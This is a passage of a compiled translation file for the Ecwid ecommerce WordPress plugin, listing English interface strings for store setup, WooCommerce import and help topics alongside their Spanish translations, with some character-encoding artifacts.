you're a proud user of Ecwid.�Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site.�Done�Download <a href="%s">import log</a>�Download log file�Draft�E.g. How to set up shipping�Ecwid Badge�Ecwid Ecommerce�Ecwid Ecommerce Shopping Cart�Ecwid Menu Item�Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center�Ecwid e-commerce widgets�Ecwid ecommerce solution�Ecwid free shopping cart�Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">More details.</a>�Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.�Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href="%s">TemplateMonster themes</a>�Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">More details.</a>�Ecwid shopping cart�Ecwid shopping cart widget�Edit�Edit Appearance�Edit Category�Edit Product�Edit Store�Edit URL Slug�Edit page�Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page.�Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space.�Enter your Store ID�Enter your Store ID here:�Extensions for your Store�Feature a specific store category on a separate page of your site.�Feature your products in the sidebar�Filters�Filters panel position�Find your Store ID�First Page�Frequently Asked Questions�Get %s mobile app�Go to Pages�Go to Your %s Products�Greetings!�Greetings! Your %s plugin is now active.�Grid�Grid view�Help�Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars.�Help customers find your store on the website.�Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products.�Here you can create the content that will be used within the module.�Here, we will help you uploading your product catalog to %s from another shopping cart or other sources.�Hide�Highlight products, categories, and other store pages by adding them to separate website pages.�Highlight your best sellers or new products in the website sidebar.�Horizontal indent�Horizontal thumbnails�How can I add a cart widget to my site sidebar?�How can I manage my store from a mobile device?�How can we help you?�How do I add store categories to the site menu?�How do I put my products in the sitemap?�How much does Ecwid cost?�How secure is this plugin? Is my store PCI DSS compliant?�How to add a single product with the add to bag button to the site pages?�How to set up a storefront on Facebook with Ecwid?�I already have an account, sign in�I couldn’t find a WordPress theme that goes well with %s�I found a better plugin�I have a problem using this plugin�I have a problem with my %s store�I use this WordPress theme: %s�Icon�Icon and item count�Icon, label and item count�Icon, label, item count and subtotal�Icon, label, item count, subtotal and link�If you have a moment, please let us know why you are deactivating:�Image and title on mouse over�Image feed�Image gallery layout�Image only�Import�Import Your Products From Woocommerce to %s�Import completed�Import completed. <a href="%s">Run again.</a>�Import creates new products and update the existing products with matching SKUs.�Import is in Progress�Import my products from WooCommerce�Import product catalog from WooCommerce�Import product catalog from other sources�Import products to your %s store�Import summary�Import your WooCommerce catalog to %s�Import your products from WooCommerce to %s�Import your products from Woocommerce to %s�Imported <b>%s</b> products�Importing %s of %s items�Insert�Insert into page�Instant site�Integration with search on your site�Is it possible to display my store on the site home page?�Is there a WordPress theme for Ecwid?�It's a temporary deactivation. Please do not ask me again.�Item count only�Justify�Knowledge Base�L�Label and item count�Landscape 3:2�Landscape 4:3�Last Page�Last update�Latest Products�Layout�Layout:�Learn more�Left�Light green cyan�Link color�Linked product�List�List view�Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL.�Luminous vivid amber�Luminous vivid orange�M�Make your store accessible from the site menu so your customers can easily find it.�Manage Sidebar�Manage Store on iPhone, iPad or Android�Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page.�Manage store�Manage storefront�Marketing�Mobile�My Account�My Profile�My Sales�Name�Navigation�Need help importing your products from WooCommerce to %s?�Never show this message again�Next Page�Next page�No Thanks�No border�Not synchronized yet�Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The "Show on store pages" and "Show when empty" options will apply to the cart widget on site when published�Nothing found for <span class="empty-page__term">"{{ data.term }}"</span>�Number of categories per row�Number of products per page�Number of products to show�On the left�On the right�Online Store�Online Store Apps�Online store�Open control panel�Open store dashboard�Options�Orders�Other�Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target="_blank" href="%s">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans.�Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">our customer support team</a>.�Page with that name already exists.�Pale cyan blue�Pale pink�Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>�Payment�Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers.�Pick Category�Pick Product�Picture�Pill�Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target="_blank">"Billing & Plans"</a></nobr> page in your Ecwid store control panel.�Please subscribe to a paid plan to get this feature.�Plugins for Ecwid�Portrait 2:3�Portrait 3:4�Position�Preview�Previous Page�Price�Price color�Product�Product Card Large�Product Card Small�Product List Appearance�Product Page Appearance�Product SKU�Product Search�Product Search Box�Product Search and filters�Product card text align�Product catalog will be shown automatically�Product page layout�Product price�Product quantity�Product sidebar content�Product thumbnail aspect ratio�Product thumbnail size�Product title�Products�Products are successfully synchronized. The product pages are up to date.�Products synchronized: %1$s out of %2$s�Promote your store�Provide access.�Provided by <a %s>%s</a>�Publish�Publish Store Page�Publish the page to use this option�Published�Quantity�Questions?�Random Product�Random Products�Rate %s at WordPress.org�Re-connect to Enable Control Panel�Recently Viewed Products�Recommendations for Your Online Store�Rectangle�Refresh categories list�Register at %s�Report a problem with the store�Reports�Right�S�SKU�Sales�Sales channels�Save�Save and connect your %s store to the site�Save changes�Search�Search and Filters�Search products�Search the Knowledge Base�See more�Select All�Select category�Selected Product�Selected category�Sell on Facebook�Send Message�Send a message to our support team�Send message failed�Set Up Your Store�Set manually�Set up your store�Settings�Setup�Shipping & Pickup�Shop�Shopping Cart�Shopping Cart (deprecated)�Shopping Cart Floating (deprecated)�Shopping Cart Icon�Shopping Cart Mini (deprecated)�Shopping Cart Widget�Show�Show additional image on hover�Show categories�Show customers that they can use a search and filters to find desired products faster.�Show description under the image�Show minicart�Show on all pages�Show on hover�Show on store pages�Show price inside the "Buy now" button�Show price inside the «Buy now» button�Show product card border�Show product thumbnails�Show search�Show when empty�Show your store on the home page�Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again.�Small icon�Small icon and item count�Some of the items could not be imported.�Sorry we're having technical difficulties.�Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: "The Wordpress function wp_remote_post() failed to connect a remote server because of some error: "%s". Seems like HTTP POST requests are disabled on this server". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>.�Square 1:1�Start Import�Status�Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store.�Still have questions about Ecwid? Let us know!�Store�Store Categories�Store Categories Menu�Store Category Page�Store Front Page�Store Home Page�Store ID�Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the "Dashboard" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration.�Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>.�Store Link Title�Store Navigation�Store Page�Store Page Link�Store Root Categories�Store appearance�Store elements�Store management�Store page content�Store page on your site�Store root category�Store with Categories Menu�Storefront�Subject�Submit & Deactivate�Switch to draft�Synchronize products�Table�Table view�Take a few simple steps to complete store setup�Take advantage of powerful apps and extensions designed to enhance your store.�Text�Text color�Thank you for choosing %s to build your online store�The block is hidden because you don't have categories in your store. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Add categories.</a>�The category that is shown by default on the Store Front Page�The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps.�The plugin doesn't support the feature I want�The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href="%s" target="_blank">adjust the cart icon appearance</a>.�The store is not visible on your site�The store top-level categories are automatically added to this drop-down menu�Themes for Ecwid�This import will copy your WooCommerce products and categories to your %s store.�This is a demo store. Create your store to see your store products here.�This will change the label of the module in the builder for easy identification.�Title�Title on image�Title only�Title or SKU�Title under image�Title:�To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings.�To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>.�To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>�To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the "Add product" dialog.�To create sitemap for your Wordpress site we suggest using <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> or <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target="_blank" href="https://www.ecwid.com/pricing">paid Ecwid users</a>.�To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission.�To enable this feature, the plugin needs a permission to read your store product information.�To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">How to use it.</a>�To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>�To manage your store, go to <a %s>the Store Dashboard page</a>�To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission.�To show your storefront instead of the demo store, connect your existing %s account or create a new one.�To start selling, add a page to your site where the storefront will display.�Top left�Top right�Try another search.�Type in your message here�URL Slug�Update�Update your catalog�Upgrade to get this feature�Vertical indent�Vertical thumbnails�Very dark gray�Very light gray�View Store Page�View demo store page�View store page�Visit storefront�Vivid cyan blue�Vivid green cyan�Vivid red�Want to connect another %s store?�Warning: some of your online store features are disabled. Please contact your hosting provider to resolve.�We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?�We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you.�We're synchronizing your products. This may take a few minutes. Please do not reload the page.�Website�What feature do you need?�What was wrong?�What's next?�While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site.�Wholesale prices�You can add product search box, cart widget and more on the <a href="%s">"Appearance / Widgets page"</a> here in your site admin. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">More details.</a>�You can add the entire storefront, categories, products, or "Buy now" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block.�You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open "Appearance > Menus" in your WordPress control panel and add the "Store with Categories Menu" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site.�You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">More details.</a>�You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel.�You can display your store on the site main page. Adjust the "Reading" settings of your site as described in our <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">Help Center.</a>�You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href="%1$s">Appearance → Customize → %2$s</a>†menu to enable it.�You can enable filters in the store settings: (“<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Settings → Product Filters</a>â€).�You can send a new request here.�You have not viewed any product yet. Open store.�You will be able to sign up through your existing Google, Facebook or PayPal profiles as well.�Your %s store has �Your %s store is connected<br /> to your WordPress website�Your %s store is now connected<br /> to your WordPress website�Your Storefront�Your WooCommerce store has �Your email has been sent�Your product�Your store Control Panel. Right here in WordPress.�Your store has been created. Preparing your store dashboard ...�Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar.�Your store is almost ready!�Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display.�Your store page�Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders.�Your store page is published. Customers can browse your store at �Your store will be shown here�Your store will be shown here!�Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data.�[%s] WordPress plugin deactivation feedback (store ID: %s)�customize appearance�gutenberg-product-blockContent�gutenberg-store-block-stubStore�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�or <a %s>Browse the Help Center�product-browser-attributesProduct SKU�product-browser-attributesProduct price�select product�selected product�vc-tabOnline store�«Buy now» button�PO-Revision-Date: 2020-10-12 12:46 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 2.4.1 Language: es Project-Id-Version: temporary-strings X-Crowdin-Project: temporary-strings X-Crowdin-Project-ID: 295314 X-Crowdin-Language: es-ES X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po X-Crowdin-File-ID: 988 Language-Team: Spanish Last-Translator: � Elegir otro producto� ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve.�Etiqueta de productos «En existencia»�%s�Blog de %s�Carrito de compras de %s�Tienda de %s�Página de la tienda de %s�El complemento %s no funciona bien con mi tema «%s»�%s producto�%s productos�%s productos y %s categorías�%s productos y categorías�Configuraciones del carrito de compras de %s�%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web.�%s — Configuración avanzada�(podrá confirmar los cambios antes de la importación definitiva)�2 columnas, imagen a la izquierda�2 columnas, imagen a la derecha�3 columnas, imagen a la izquierda�3 columnas, imagen a la derecha�<a %s>Tienda en línea con tecnología de %s</a>�<a %s>Volver a conectar</a>�<a href="admin.php?page=�<b>%s</b> categorías�Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos».�Acción requerida: conecte su cuenta de %s�Añadir producto�Añadir tienda�Añadir la página de la tienda al menú�Añadir una página de categoría�Añadir página de productos�Añadir una página de búsqueda y filtros�Añadir una página de tienda�Añadir una tienda en línea a su sitio web�Añadir borde�Añadir carrito y página de pago�Añadir categorías�Añadir la página de la tienda al menú del sitio web�Añadir escaparate virtual (listado de productos)�Añadir al menú�Añada su tienda de %s al sitio web y comience a vender en minutos.�Añada su tienda a otras páginas del sitio web�Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href="%s" target="_blank">Configuración de WordPress > Lectura</a>.�Páginas adicionales de la tienda�Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>.�Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito.�Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito.�Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web.�Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda.�Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda.�Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio.�Etiqueta de administrador�Avanzado�Configuraciones avanzadas�Después de la importación, su tienda de %s tendrá �Todos los canales de venta�Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda.�Apariencia�Aplicaciones�Cantidad disponible en existencia�Regresar a la configuración de la tienda�Color del fondo�Bolsa�Cesta�Antes de que se vaya�Borde�Borde:�Abajo a la izquierda�Abajo a la derecha�Migas de pan�Explorar todos los productos.�Buscar por categoría�Importar en masa productos y categorías a su tienda de %s�Color del botón�Comprar ahora�Botón «Comprar ahora»�Botones de «Comprar ahora»�Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>.�Clase CSS�ID de CSS�¿Podría compartir el nombre del complemento que ha elegido?�¿Podría compartir su opinión? ¿Qué fue lo que pasó?�Cancelar�Carrito�Carrito y pago�Icono del carrito de compras�Icono del carrito:�Catálogo�Categorías�Categoría�Apariencia de la lista de categorías�Diseño de la ficha de categoría�Categoría mostrada por defecto�Relación de aspecto de la miniatura de la categoría�Tamaño de la miniatura de la categoría�Centrado�Centrar la alineación en una página�Cambiar�Cambiar el contenido de la tienda�Elegir producto�Elegir producto�Elija las propiedades del producto para mostrarlas en el «widget»�Elegir la página principal de la tienda�Elija los «widgets» a mostrar�Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos�Configuración de colores�Completar configuración�Complete la configuración y comience a vender�Configuración�¡Enhorabuena!�Conectar�Conecte su tienda�Conecte su tienda de %s�Conecte su tienda�Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo.�Ponerse en contacto con la asistencia�Póngase en contacto con nosotros�Contenido�Copia de productos y categorías.�Crear página del carrito�Crear página de categorías�Crear página de productos�Crear página de búsqueda�Crear tienda�Crear la página de la tienda�Cree una página de aterrizaje con uno de sus productos.�Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito.�Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web.�Crear una nueva cuenta�Crear tienda�Página actual�«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>�Inicio de sesión único del cliente�Clientes�Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes.�Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago.�Personalizar el diseño�Personalizar la apariencia de la tienda�Personalizar la dirección de la página de la tienda�Personalizar «widget»�Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca.�Gris cian azulado�Panel�Categoría predeterminada�ID de categoría predeterminada�ID del producto predeterminado�Modo de vista predeterminado en las páginas de productos�Modo de vista predeterminado en los resultados de búsqueda�Productos eliminados sincronizados: %1$s de %2$s�Tienda de demostración�Tienda de demostración�Diseño�Diseño y contenido�Detectar automáticamente�Desconectar tienda�Mostrar un botón de compra�Mostrar migas de pan�Mostrar icono del carrito�Mostrar el menú de categorías�Mostrar la barra de navegación de las categorías�Mostrar la página de categorías�Mostrar el menú del pie de página�Mostrar la página de productos con la descripción y un botón de compra�Mostrar el producto con un botón de compra�Mostrar el cuadro de búsqueda�Mostrar página de búsqueda con los filtros a un lado�Mostrar enlace y resumen de la bolsa de compras�Mostrar el carrito de compras�Mostrar el carrito de compras y la página de pago�Mostrar el enlace de inicio de sesión�Mostrar «ordenar por enlace»�Muestre el icono del carrito de compras en las páginas del sitio web�Producto mostrado�Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web.�Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda.�Muestra una lista de productos aleatorios.�Muestra un producto aleatorio de su tienda para atraer la atención del cliente.�Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda.�Muestra el escaparate virtual: listado de productos y pago�Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas.�No mostrar�¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid.�¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress.�Hecho�Descargar <a href="%s">registro de importación</a>�Descargar archivo de registro�Borrador�Por ejemplo, cómo establecer el envío�Distintivo de Ecwid�Comercio electrónico Ecwid�Carrito de compras del comercio electrónico de Ecwid�Elemento del menú de Ecwid�Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid�«Widget» de comercio electrónico de Ecwid�Solución de comercio electrónico de Ecwid�Carrito de compras gratuito de Ecwid�Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">Más detalles.</a>�Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos.�Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href="%s">temas de TemplateMonster</a>.�Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">Más detalles.</a>�Carrito de compras de Ecwid�«Widget» de carrito de compras de Ecwid�Editar�Editar apariencia�Editar categoría�Editar producto�Editar tienda�Editar «slug» de la dirección URL�Editar página�Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web.�Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio.�Introduzca el ID de su tienda�Introduzca el ID de su tienda aquí:�Extensiones para su tienda�Destacar una categoría de la tienda específica en una página separada de su sitio web.�Destaque sus productos en la barra lateral�Filtros�Posición del panel de filtros�Encuentre el ID de su tienda�Primera página�Preguntas frecuentes�Descargue la aplicación móvil de %s�Ir a «Páginas»�Ir a sus productos de %s�¡Saludos!�¡Enhorabuena! Su complemento de %s ya está activo.�Cuadrícula�Vista de cuadrícula�Ayuda�Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales.�Ayude a los clientes a encontrar su tienda en el sitio web.�Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos.�Aquí puede crear el contenido que se utilizará dentro del módulo.�Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes.�Ocultar�Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas.�Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web.�Sangría horizontal�Miniaturas horizontales�¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?�¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?�¿Cómo podemos ayudarle?�¿Cómo puedo añadir categorías de tiendas al menú del sitio web?�¿Cómo pongo mis productos en el mapa del sitio?�¿Cuánto cuesta Ecwid?�¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?�¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?�¿Cómo crear una tienda en Facebook con Ecwid?�Ya tengo una cuenta, iniciar sesión�No pude encontrar un tema de WordPress adecuado para %s�Encontré un mejor complemento�Tengo un problema con el uso de este complemento�Tengo un problema con mi tienda de %s�Utilizo este tema de WordPress: %s�Icono�Icono y total de artículos�Icono, etiqueta y total de artículos�Icono, etiqueta, total de artículos y subtotal�Icono, etiqueta, total de artículos, subtotal y enlace�Si tiene un momento, háganos saber por qué está desactivando:�Imagen y título al pasar el ratón por encima�Canal de imagen�Diseño de la galería de imágenes�Solo imagen�Importar�Importe sus productos de Woocommerce a %s�Importación completada�Importación completada. <a href="%s">Ejecútela de nuevo.</a>�La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes.�La importación está en progreso�Importar mis productos de WooCommerce�Importar el catálogo de productos de WooCommerce�Importar el catálogo de productos de otras fuentes�Importe los productos a su tienda de %s�Resumen de la importación�Importe su catálogo de WooCommerce a %s�Importe sus productos de WooCommerce a %s�Importe sus productos de Woocommerce a %s�<b>%s</b> productos importados�Importando %s de %s artículos�Insertar�Insertar en la página�Sitio web instantáneo�Integración con la búsqueda en su sitio web�¿Es posible mostrar mi tienda en la página de inicio del sitio web?�¿Existe algún tema de WordPress para Ecwid?�Es una desactivación temporal. No preguntarme de nuevo.�Solo el total de artículos�Justificado�Base de conocimiento�G�Etiqueta y y total de artículos�Horizontal 3:2�Horizontal 4:3�Última página�Última actualización�Últimos productos�Diseño�Diseño:�Más información�Izquierda�Cian verde claro�Color del enlace�Producto vinculado�Lista�Vista de lista�Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL.�Ãmbar vívido y brillante�Naranja vívido y brillante�M�Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente.�Gestionar la barra lateral�Gestione la tienda desde iPhone, iPad o Android�Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página.�Gestionar la tienda�Gestionar escaparate virtual�Mercadotecnia�Móvil�Mi cuenta�Mi perfil�Mis ventas�Nombre�Navegación�¿Necesita ayuda para importar sus productos de WooCommerce a %s?�Nunca mostrar este mensaje otra vez�Página siguiente�Página siguiente�No, gracias�Sin borde�No se ha sincronizado todavía�Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen�No se ha encontrado nada en relación con <span class="empty-page__term">«{{ data.term }}»</span>�Número de categorías por fila�Número de productos por página�Número de productos para mostrar�A la izquierda�A la derecha�Tienda en línea�Aplicaciones de la tienda en línea�Tienda en línea�Abrir el panel de control�Abrir el panel de la tienda�Opciones�Pedidos�Otro�Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target="_blank" href="%s">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales.�Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">nuestro equipo de atención al cliente</a>.�Ya existe una página con ese nombre.�Azul cian pálido�Rosa pálido�Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>�Pago�Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes.�Elegir una categoría�Elegir un producto�Imagen�Píldora�Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target="_blank">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid.�Suscríbase a un plan de pago para 